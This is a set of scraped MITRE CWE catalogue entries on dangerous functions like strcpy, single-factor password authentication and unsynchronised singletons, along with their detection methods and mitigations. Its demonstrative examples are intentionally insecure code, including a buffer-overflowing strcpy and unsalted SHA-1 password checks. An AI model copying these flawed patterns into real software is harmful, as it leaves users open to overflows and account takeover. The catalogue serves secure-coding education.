Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.740CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.874CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.971SFP Secondary Cluster: Faulty Pointer Use
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1160SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper pointer subtraction
CERT C Secure CodingARR36-CExactDo not subtract or compare two pointers that do not refer to the same array
Software Fault PatternsSFP7Faulty Pointer Use
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Taxonomy_Mappings, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Common_Consequences
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Pointer Subtraction

CWE-676: Use of Potentially Dangerous Function

Weakness ID: 676
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1177Use of Prohibited Code
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.785Use of Path Manipulation Function without Maximum-sized Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1228API / Function Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context; Quality Degradation; Unexpected State

If the function is used incorrectly, then it could result in security problems.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

(bad code)
Example Language:
void manipulate_string(char * string){
char buf[24];
strcpy(buf, string);
...
}

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

+ Observed Examples
ReferenceDescription
Library has multiple buffer overflows using sprintf() and strcpy()
Buffer overflow using strcat()
Buffer overflow using strcpy()
Buffer overflow using strcpy()
Vulnerable use of strcpy() changed to use safer strlcpy()
Buffer overflow using strcpy()
+ Potential Mitigations

Phases: Build and Compilation; Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [REF-554] [REF-7]
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary / Bytecode Quality Analysis
  • Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Debugger
Cost effective for partial coverage:
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
  • Warning Flags
  • Source Code Quality Analyzer

Effectiveness: High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Origin Analysis

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1170SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsDangerous Functions
CERT C Secure CodingCON33-CCWE More AbstractAvoid race conditions when using library functions
CERT C Secure CodingENV33-CCWE More AbstractDo not call system()
CERT C Secure CodingERR07-CPrefer functions that support error checking over equivalent functions that don't
CERT C Secure CodingERR34-CCWE More AbstractDetect errors when converting a string to a number
CERT C Secure CodingFIO01-CBe careful using functions that use file names for identification
CERT C Secure CodingMSC30-CCWE More AbstractDo not use the rand() function for generating pseudorandom numbers
CERT C Secure CodingSTR31-CImpreciseGuarantee that storage for strings has sufficient space for character data and the null terminator
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-554] Michael Howard. "Security Development Lifecycle (SDL) Banned Function Calls". <https://learn.microsoft.com/en-us/previous-versions/bb288454(v=msdn.10)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Safe String Handling" Page 156, 160. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Other_Notes, References, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Weakness_Ordinalities
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-308: Use of Single-factor Authentication

Weakness ID: 308
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
+ Extended Description
While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.654Reliance on a Single Factor in a Security Decision
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.309Use of Password System for Primary Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In both of these examples, a user is logged in if their given password matches a stored password:

(bad code)
Example Language:
unsigned char *check_passwd(char *plaintext) {
ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
//Login if hash matches stored hash
if (equal(ctext, secret_password())) {
login_user();
}
}
(bad code)
Example Language: Java 
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
login_user();
}

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

+ Observed Examples
ReferenceDescription
Chat application skips validation when Central Authentication Service (CAS) is enabled, effectively removing the second factor from two-factor authentication
+ Potential Mitigations

Phase: Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1368ICS Dependencies (& Architecture): External Digital Systems
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing single-factor authentication
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Using Single-factor Authentication

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID: 543
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses the singleton pattern when creating a resource within a multithreaded environment.
+ Extended Description
The use of a singleton pattern may not be thread-safe.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.820Missing Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Integrity

Technical Impact: Other; Modify Application Data

+ Demonstrative Examples

Example 1

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

(bad code)
Example Language: Java 
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
if (singleton == null) {
singleton = new NumberConverter();
}
return singleton;
}

Consider the following course of events:

  • Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
  • Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
  • Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
  • Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

+ Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness: Limited

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
